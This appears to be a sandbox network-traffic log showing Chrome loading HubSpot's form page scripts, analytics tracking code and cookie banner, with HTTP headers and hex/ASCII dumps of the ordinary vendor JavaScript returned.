2024-12-16 17:45:27 UTC	593	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:27 GMT Content-Type: application/javascript;charset=utf-8 Transfer-Encoding: chunked Connection: close vary: origin x-hubspot-correlation-id: 6dac5161-0df5-4a78-8f34-5aa2d811ccc0 access-control-allow-credentials: true x-content-type-options: nosniff access-control-max-age: 3600 access-control-allow-origin: https://share.hsforms.com Last-Modified: Mon, 16 Dec 2024 17:44:45 GMT CF-Cache-Status: HIT Age: 2 Expires: Mon, 16 Dec 2024 17:46:57 GMT Cache-Control: public, max-age=90 Server: cloudflare CF-RAY: 8f307cbaf9068cba-EWR
2024-12-16 17:45:27 UTC	776	IN	Data Raw: 36 31 35 0d 0a 2f 2f 20 48 75 62 53 70 6f 74 20 53 63 72 69 70 74 20 4c 6f 61 64 65 72 2e 20 50 6c 65 61 73 65 20 64 6f 20 6e 6f 74 20 62 6c 6f 63 6b 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 20 53 65 65 20 6d 6f 72 65 3a 20 68 74 74 70 3a 2f 2f 68 75 62 73 2e 6c 79 2f 48 30 37 30 32 5f 48 30 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 29 7b 76 61 72 20 63 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 63 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 68 73 2d 61 6e 61 6c 79 74 69 63 73 2e 6e 65 74 2f 61 6e 61 6c 79 74 69 63 73 2f 31 37 33 34 33 37 30 38 30 30 30 30 30 2f 34 38 31 39 32 36 39 32 2e Data Ascii: 615// HubSpot Script Loader. Please do not block this resource. See more: http://hubs.ly/H0702_H0!function(e,t){if(!document.getElementById(e)){var c=document.createElement("script");c.src="https://js.hs-analytics.net/analytics/1734370800000/48192692.
2024-12-16 17:45:27 UTC	788	IN	Data Raw: 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 69 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6e 2c 69 29 7d 7d 28 22 63 6f 6f 6b 69 65 42 61 6e 6e 65 72 2d 34 38 31 39 32 36 39 32 22 2c 30 2c 7b 22 64 61 74 61 2d 63 6f 6f 6b 69 65 63 6f 6e 73 65 6e 74 22 3a 22 69 67 6e 6f 72 65 22 2c 22 64 61 74 61 2d 68 73 2d 69 67 6e 6f 72 65 22 3a 74 72 75 65 2c 22 64 61 74 61 2d 6c 6f 61 64 65 72 22 3a 22 68 73 2d 73 63 72 69 70 74 6c 6f 61 64 65 72 22 2c 22 64 61 74 61 2d 68 73 6a 73 2d 70 6f 72 74 61 6c 22 3a 34 38 31 39 32 36 39 32 2c 22 64 61 74 61 2d 68 73 6a 73 2d 65 6e 76 22 3a 22 70 72 6f 64 22 2c 22 64 61 74 61 2d 68 73 6a 73 2d 68 75 62 6c 65 74 22 3a 22 6e 61 31 22 7d 29 3b 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: TagName("script")[0];i.parentNode.insertBefore(n,i)}}("cookieBanner-48192692",0,{"data-cookieconsent":"ignore","data-hs-ignore":true,"data-loader":"hs-scriptloader","data-hsjs-portal":48192692,"data-hsjs-env":"prod","data-hsjs-hublet":"na1"});!function(t
2024-12-16 17:45:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49735	104.17.175.201	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:27 UTC	555	OUT	GET /analytics/1734370800000/48192692.js HTTP/1.1 Host: js.hs-analytics.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:27 UTC	1310	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:27 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close x-amz-id-2: lfToNrhdXkiNJB3eKx83Zy3Q5Tyfpd5cb2w7bwvo0Yl4LHEXDIljHJ1G6o3MyJ+zud/1U8iyczI= x-amz-request-id: T3440TJ59FC7KR5H last-modified: Mon, 18 Nov 2024 13:31:40 GMT etag: W/"67b596350abad656efd98939307b5b9a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=300,public x-amz-version-id: null access-control-allow-credentials: false vary: origin expires: Mon, 16 Dec 2024 17:46:30 GMT x-envoy-upstream-service-time: 36 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 8668c56f-55ca-4643-a265-e267e41001f2 x-evy-trace-served-by-pod: iad02/analytics-js-proxy-td/envoy-proxy-8586d94f84-ds2fh x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 8668c56f-55ca-4643-a265-e267e41001f2 CF-Cache-Status: HIT Age: 237 Set-Cookie: __cf_bm=ovm.5m4XXBhqX96HjGDnKBKwzkRW5.fhCVEFbNsSnTc-1734371127-1.0.1.1-J.cIrlvr7HrK3QLjxOSwhIf8zYGBdcd1ujprTeRCDT81W6mPBFtz3lR7KPxdMmk3NNFQVJgQHCYd7.p34TzUkA; path=/; expires=Mon, 16-Dec-24 18:15:27 GMT; domain=.hs-analytics.net; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f307cbaff184352-EWR
2024-12-16 17:45:27 UTC	59	IN	Data Raw: 37 61 38 33 0d 0a 2f 2a 2a 20 0a 20 2a 20 48 75 62 53 70 6f 74 20 41 6e 61 6c 79 74 69 63 73 20 54 72 61 63 6b 69 6e 67 20 43 6f 64 65 20 42 75 69 6c 64 20 4e 75 6d 62 65 72 20 Data Ascii: 7a83/** * HubSpot Analytics Tracking Code Build Number
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 31 2e 39 39 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 48 75 62 53 70 6f 74 2c 20 49 6e 63 2e 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 0a 20 2a 2f 0a 76 61 72 20 5f 68 73 71 20 3d 20 5f 68 73 71 20 7c 7c 20 5b 5d 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 73 65 74 50 6f 72 74 61 6c 49 64 27 2c 20 34 38 31 39 32 36 39 32 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 74 72 61 63 6b 50 61 67 65 56 69 65 77 27 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 73 65 74 4c 65 67 61 63 79 27 2c 20 66 61 6c 73 65 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 61 64 64 48 61 73 68 65 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 32 32 34 38 39 34 39 38 31 27 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 61 64 Data Ascii: 1.993 * Copyright 2024 HubSpot, Inc. http://www.hubspot.com */var _hsq = _hsq \|\| [];_hsq.push(['setPortalId', 48192692]);_hsq.push(['trackPageView']);_hsq.push(['setLegacy', false]);_hsq.push(['addHashedCookieDomain', '224894981']);_hsq.push(['ad
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 6f 7c 7c 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 2c 65 3d 6e 65 77 20 55 69 6e 74 31 36 41 72 72 61 79 28 38 29 3b 74 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 65 29 3b 76 61 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3b 65 2e 6c 65 6e 67 74 68 3c 34 3b 29 65 3d 22 30 22 2b 65 3b 72 65 74 75 72 6e 20 65 7d 3b 72 65 74 75 72 6e 20 69 28 65 5b 30 5d 29 2b 69 28 65 5b 31 5d 29 2b 69 28 65 5b 32 5d 29 2b 69 28 65 5b 33 5d 29 2b 69 28 65 5b 34 5d 29 2b 69 28 65 5b 35 5d 29 2b 69 28 65 5b 36 5d 29 2b 69 28 65 5b 37 5d 29 7d 7d 3b 4d 61 74 68 2e 75 75 69 64 3d 4d 61 74 68 2e 75 75 69 64 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 68 73 74 63 2e 75 74 69 6c 73 2e 6c 6f 67 45 72 Data Ascii: o\|\|window.msCrypto,e=new Uint16Array(8);t.getRandomValues(e);var i=function(t){for(var e=t.toString(16);e.length<4;)e="0"+e;return e};return i(e[0])+i(e[1])+i(e[2])+i(e[3])+i(e[4])+i(e[5])+i(e[6])+i(e[7])}};Math.uuid=Math.uuid\|\|function(){hstc.utils.logEr
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 68 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 6f 63 2e 64 6f 6d 61 69 6e 7d 7d 3b 68 73 74 63 2e 67 6c 6f 62 61 6c 2e 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 50 61 74 68 4e 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 6f 63 2e 70 61 74 68 6e 61 6d 65 7d 3b 68 73 74 63 2e 67 6c 6f 62 61 6c 2e 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 54 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 6f 70 7d 3b 68 73 74 63 2e 67 6c 6f 62 61 6c 2e 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 50 61 72 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 7d 3b 68 73 74 63 2e 67 6c 6f 62 61 Data Ascii: h(t){return this.doc.domain}};hstc.global.Context.prototype.getPathName=function(){return this.loc.pathname};hstc.global.Context.prototype.getTop=function(){return this.top};hstc.global.Context.prototype.getParent=function(){return this.parent};hstc.globa
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 6e 74 68 28 29 3b 29 7b 30 3b 65 2e 73 65 74 44 61 74 65 28 65 2e 67 65 74 44 61 74 65 28 29 2b 31 29 7d 72 65 74 75 72 6e 20 68 73 74 63 2e 75 74 69 6c 73 2e 63 6c 65 61 72 54 69 6d 65 50 61 72 74 28 65 29 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 63 6c 65 61 72 54 69 6d 65 50 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 73 65 74 48 6f 75 72 73 28 30 29 3b 74 2e 73 65 74 4d 69 6e 75 74 65 73 28 30 29 3b 74 2e 73 65 74 53 65 63 6f 6e 64 73 28 30 29 3b 74 2e 73 65 74 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 28 30 29 3b 72 65 74 75 72 6e 20 74 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 74 72 75 6e 63 61 74 65 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 3f 74 2e 6c 65 6e 67 74 68 3e 65 3f 74 2e 73 75 62 73 74 72 28 30 Data Ascii: nth();){0;e.setDate(e.getDate()+1)}return hstc.utils.clearTimePart(e)};hstc.utils.clearTimePart=function(t){t.setHours(0);t.setMinutes(0);t.setSeconds(0);t.setMilliseconds(0);return t};hstc.utils.truncateString=function(t,e){return t?t.length>e?t.substr(0
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 7c 7c 28 6e 75 6c 6c 21 3d 3d 63 2e 6c 65 6e 67 74 68 3f 5b 5d 3a 7b 7d 29 2c 63 29 3a 76 6f 69 64 20 30 21 3d 3d 63 26 26 28 65 5b 73 5d 3d 63 29 29 7d 72 65 74 75 72 6e 20 65 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 65 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 72 29 7b 66 6f 72 28 69 20 69 6e 20 74 29 69 66 28 21 31 3d 3d 3d 65 2e 63 61 6c 6c 28 74 5b 69 5d 2c 69 2c 74 5b 69 5d 29 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 76 61 72 20 73 3d 74 5b 30 5d 3b 6e 3c 72 26 26 21 31 21 3d 3d 65 2e 63 61 6c 6c 28 73 2c 6e 2c 73 29 3b 73 3d 74 5b 2b 2b 6e 5d 29 3b 72 65 74 75 72 6e 20 74 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 69 73 44 65 66 69 6e 65 Data Ascii: \|\|(null!==c.length?[]:{}),c):void 0!==c&&(e[s]=c))}return e};hstc.utils.each=function(t,e){var i,n=0,r=t.length;if(void 0===r){for(i in t)if(!1===e.call(t[i],i,t[i]))break}else for(var s=t[0];n<r&&!1!==e.call(s,n,s);s=t[++n]);return t};hstc.utils.isDefine
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 75 6e 63 74 69 6f 6e 29 74 72 79 7b 69 3d 65 3f 64 65 63 6f 64 65 55 52 49 28 74 29 3a 6e 28 74 29 7d 63 61 74 63 68 28 65 29 7b 69 3d 75 6e 65 73 63 61 70 65 28 74 29 7d 65 6c 73 65 20 69 3d 75 6e 65 73 63 61 70 65 28 74 29 3b 72 65 74 75 72 6e 20 69 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 69 73 46 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 22 3d 3d 3d 68 73 74 63 2e 75 74 69 6c 73 2e 74 6f 73 74 72 2e 63 61 6c 6c 28 74 29 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 75 74 63 6e 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e Data Ascii: instanceof Function)try{i=e?decodeURI(t):n(t)}catch(e){i=unescape(t)}else i=unescape(t);return i};hstc.utils.isFunction=function(t){return"[object Function]"===hstc.utils.tostr.call(t)};hstc.utils.utcnow=function(){return(new Date).getTime()};hstc.utils.
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 73 3f 76 6f 69 64 20 30 3a 76 6f 69 64 20 30 21 3d 3d 6e 5b 73 5d 3f 6e 5b 73 5d 3a 73 29 3b 69 66 28 6c 29 66 6f 72 28 3b 68 3c 3d 6c 3b 68 2b 2b 29 7b 63 3d 22 22 3d 3d 3d 75 5b 68 5d 3f 61 2e 6c 65 6e 67 74 68 3a 75 5b 68 5d 3b 61 3d 61 5b 63 3d 73 61 6e 69 74 69 7a 65 4b 65 79 28 63 29 5d 3d 68 3c 6c 3f 61 5b 63 5d 7c 7c 28 75 5b 68 2b 31 5d 26 26 69 73 4e 61 4e 28 75 5b 68 2b 31 5d 29 3f 7b 7d 3a 5b 5d 29 3a 73 7d 65 6c 73 65 7b 63 3d 73 61 6e 69 74 69 7a 65 4b 65 79 28 63 29 3b 68 73 74 63 2e 75 74 69 6c 73 2e 69 73 41 72 72 61 79 28 69 5b 63 5d 29 3f 69 5b 63 5d 2e 70 75 73 68 28 73 29 3a 76 6f 69 64 20 30 21 3d 3d 69 5b 63 5d 3f 69 5b 63 5d 3d 5b 69 5b 63 5d 2c 73 5d 3a 69 5b 63 5d 3d 73 7d 7d 65 6c 73 65 Data Ascii: "undefined"===s?void 0:void 0!==n[s]?n[s]:s);if(l)for(;h<=l;h++){c=""===u[h]?a.length:u[h];a=a[c=sanitizeKey(c)]=h<l?a[c]\|\|(u[h+1]&&isNaN(u[h+1])?{}:[]):s}else{c=sanitizeKey(c);hstc.utils.isArray(i[c])?i[c].push(s):void 0!==i[c]?i[c]=[i[c],s]:i[c]=s}}else
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 73 70 6c 69 74 28 22 20 22 29 29 3e 2d 31 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 73 74 72 69 70 4e 75 6d 65 72 69 63 42 72 61 63 6b 65 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 7c 7c 22 22 29 2e 72 65 70 6c 61 63 65 28 2f 28 5e 2e 2b 3f 29 5c 5b 28 2e 2b 3f 29 5c 5d 2f 2c 22 24 31 5f 24 32 22 29 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 70 61 72 73 65 43 75 72 72 65 6e 63 79 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 69 3d 74 2e 6d 61 74 63 68 28 2f 28 5b 5e 5c 64 5d 2a 29 28 5b 5c 64 5c 2e 2c 5d 2b 29 28 5b 5e 5c 64 5c 2e 2c 5d 2a 29 2f 29 3b 69 66 28 69 29 7b 76 61 72 20 6e 2c 72 3d 69 5b 32 5d 2c 73 3d 72 2e 73 70 6c 69 74 Data Ascii: split(" "))>-1};hstc.utils.stripNumericBrackets=function(t){return(t\|\|"").replace(/(^.+?)\[(.+?)\]/,"$1_$2")};hstc.utils.parseCurrency=function(t,e){if("number"==typeof t)return t;var i=t.match(/([^\d])([\d\.,]+)([^\d\.,])/);if(i){var n,r=i[2],s=r.split
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 6e 21 3d 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 29 72 65 74 75 72 6e 21 31 3b 73 77 69 74 63 68 28 6e 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 53 74 72 69 6e 67 5d 22 3a 72 65 74 75 72 6e 20 74 3d 3d 53 74 72 69 6e 67 28 65 29 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 4e 75 6d 62 65 72 5d 22 3a 72 65 74 75 72 6e 20 74 21 3d 2b 74 3f 65 21 3d 2b 65 3a 30 3d 3d 74 3f 31 2f 74 3d 3d 31 2f 65 3a 74 3d 3d 2b 65 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 44 61 74 65 5d 22 3a 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 42 6f 6f 6c 65 61 6e 5d 22 3a 72 65 74 75 72 6e 2b 74 3d 3d 2b 65 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 52 65 67 45 78 70 5d 22 3a 72 65 74 75 72 6e 20 74 2e 73 6f 75 72 63 65 3d 3d 65 2e 73 6f 75 72 63 65 26 26 74 2e 67 6c 6f 62 61 6c Data Ascii: n!=toString.call(e))return!1;switch(n){case"[object String]":return t==String(e);case"[object Number]":return t!=+t?e!=+e:0==t?1/t==1/e:t==+e;case"[object Date]":case"[object Boolean]":return+t==+e;case"[object RegExp]":return t.source==e.source&&t.global

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49737	104.18.40.240	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:27 UTC	538	OUT	GET /v2/48192692/banner.js HTTP/1.1 Host: js.hs-banner.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:27 UTC	1334	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:27 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-amz-id-2: XyW30lrZVUMS9FpV6wmLrrk3f5M7Xnu0vBwhj91XfP5dpmfGXuu7KiPB9WAwxDowILCPPTNuksA= x-amz-request-id: YGAKX7YY5JCRS5DM last-modified: Mon, 18 Nov 2024 13:30:35 GMT etag: W/"4a70a25de880416ebe88644f1aceb430" x-amz-server-side-encryption: AES256 Cache-Control: max-age=300,public x-amz-version-id: 0MuuExhIjU2fKuPeQxQtLbEaByjs.y3N access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept, Accept-Charset, Accept-Encoding, X-Override-Internal-Permissions, X-Properties-Source, X-Properties-SourceId, X-Properties-Flag, X-Hubspot-User-Id, X-Hubspot-Trace, X-Hubspot-Callee, X-Hubspot-Offset, X-Hubspot-No-Trace, X-HubSpot-Static-App-Info, X-HubSpot-Messages-Uri, X-HubSpot-Request-Source, X-HubSpot-Request-Reason, Subscription-Billing-Auth-Token, X-App-CSRF, X-Tools-CSRF, Online-Payment-Signing-UUID, X-Source, X-SourceId, X-Origin-UserId, X-Biden-Request-Source, X-HubSpot-CSRF-hubspotapi, X-Force-Cookie-Refresh, X-Force-Cookie-Refresh-No-Cache, X-HS-User-Request, X-Application-Id, X-HS-Referer, X-HubSpot-Correlation-Id
2024-12-16 17:45:27 UTC	1026	IN	Data Raw: 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 2d 68 65 61 64 65 72 73 3a 20 78 2d 6c 61 73 74 2d 6d 6f 64 69 66 69 65 64 2d 74 69 6d 65 73 74 61 6d 70 2c 20 58 2d 48 75 62 53 70 6f 74 2d 4e 6f 74 46 6f 75 6e 64 2c 20 58 2d 48 53 2d 55 73 65 72 2d 52 65 71 75 65 73 74 2c 20 4c 69 6e 6b 2c 20 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 6d 61 78 2d 61 67 65 3a 20 36 30 34 38 30 30 0d 0a 74 69 6d 69 6e 67 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 76 61 72 79 3a 20 6f 72 69 67 69 6e 0d 0a 65 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 31 36 20 44 65 63 20 32 30 32 34 20 31 Data Ascii: access-control-expose-headers: x-last-modified-timestamp, X-HubSpot-NotFound, X-HS-User-Request, Link, Server-Timingaccess-control-allow-credentials: trueaccess-control-max-age: 604800timing-allow-origin: *vary: originexpires: Mon, 16 Dec 2024 1
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 76 61 72 20 5f 68 73 70 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 68 73 70 27 5d 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 68 73 70 27 5d 20 7c 7c 20 5b 5d 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 42 61 6e 6e 65 72 53 65 74 74 69 6e 67 73 27 2c 20 7b 7d 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 43 75 73 74 6f 6d 69 7a 61 74 69 6f 6e 53 65 74 74 69 6e 67 73 27 2c 20 7b 7d 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 2e 68 73 2d 73 69 74 65 73 2e 63 6f 6d 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b Data Ascii: 7ff9var _hsp = window['_hsp'] = window['_hsp'] \|\| [];_hsp.push(['setBannerSettings', {}]);_hsp.push(['setCustomizationSettings', {}]);_hsp.push(['addCookieDomain', '.hsforms.com']);_hsp.push(['addCookieDomain', '.hs-sites.com']);_hsp.push(['addCook
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 5b 74 2e 72 65 6d 6f 76 65 5f 63 6f 6e 74 65 6e 74 73 5b 65 5d 5d 3d 21 30 3b 65 6c 73 65 20 74 68 69 73 2e 63 6f 6e 66 69 67 2e 72 65 6d 6f 76 65 5f 61 6c 6c 5f 63 6f 6e 74 65 6e 74 73 3d 21 30 3b 74 68 69 73 2e 74 72 61 6e 73 66 6f 72 6d 65 72 73 3d 74 2e 74 72 61 6e 73 66 6f 72 6d 65 72 73 3f 74 2e 74 72 61 6e 73 66 6f 72 6d 65 72 73 3a 5b 5d 7d 6f 2e 52 45 47 45 58 5f 50 52 4f 54 4f 43 4f 4c 3d 2f 5e 28 5b 41 2d 5a 61 2d 7a 30 2d 39 5c 2b 5c 2d 5c 2e 5c 26 5c 3b 5c 2a 5c 73 5d 2a 3f 29 28 3f 3a 5c 3a 7c 26 2a 30 2a 35 38 7c 26 2a 78 30 2a 33 61 29 2f 69 3b 6f 2e 52 45 4c 41 54 49 56 45 3d 22 5f 5f 52 45 4c 41 54 49 56 45 5f 5f 22 3b 6f 2e 41 4c 4c 3d 22 5f 5f 41 4c 4c 5f 5f 22 3b 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 6e 5f 6e 6f 64 65 3d 66 Data Ascii: [t.remove_contents[e]]=!0;else this.config.remove_all_contents=!0;this.transformers=t.transformers?t.transformers:[]}o.REGEX_PROTOCOL=/^([A-Za-z0-9\+\-\.\&\;\\s]?)(?:\:\|&058\|&x03a)/i;o.RELATIVE="__RELATIVE__";o.ALL="__ALL__";o.prototype.clean_node=f
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 6f 63 6f 6c 73 5b 61 5d 5b 64 5d 29 7b 67 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 70 72 6f 74 6f 63 6f 6c 73 5b 61 5d 5b 64 5d 3b 5f 3d 28 66 3d 68 2e 76 61 6c 75 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 6d 61 74 63 68 28 6f 2e 52 45 47 45 58 5f 50 52 4f 54 4f 43 4f 4c 29 29 3f 2d 31 21 3d 6e 28 66 5b 31 5d 2c 67 29 3a 2d 31 21 3d 6e 28 6f 2e 52 45 4c 41 54 49 56 45 2c 67 29 7d 69 66 28 5f 29 7b 28 75 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 41 74 74 72 69 62 75 74 65 28 64 29 29 2e 76 61 6c 75 65 3d 68 2e 76 61 6c 75 65 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 75 29 7d 7d 7d 69 66 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 64 64 5f 61 74 74 72 69 62 75 74 65 73 5b 61 Data Ascii: ocols[a][d]){g=this.config.protocols[a][d];_=(f=h.value.toLowerCase().match(o.REGEX_PROTOCOL))?-1!=n(f[1],g):-1!=n(o.RELATIVE,g)}if(_){(u=document.createAttribute(d)).value=h.value;this.current_element.setAttributeNode(u)}}}if(this.config.add_attributes[a
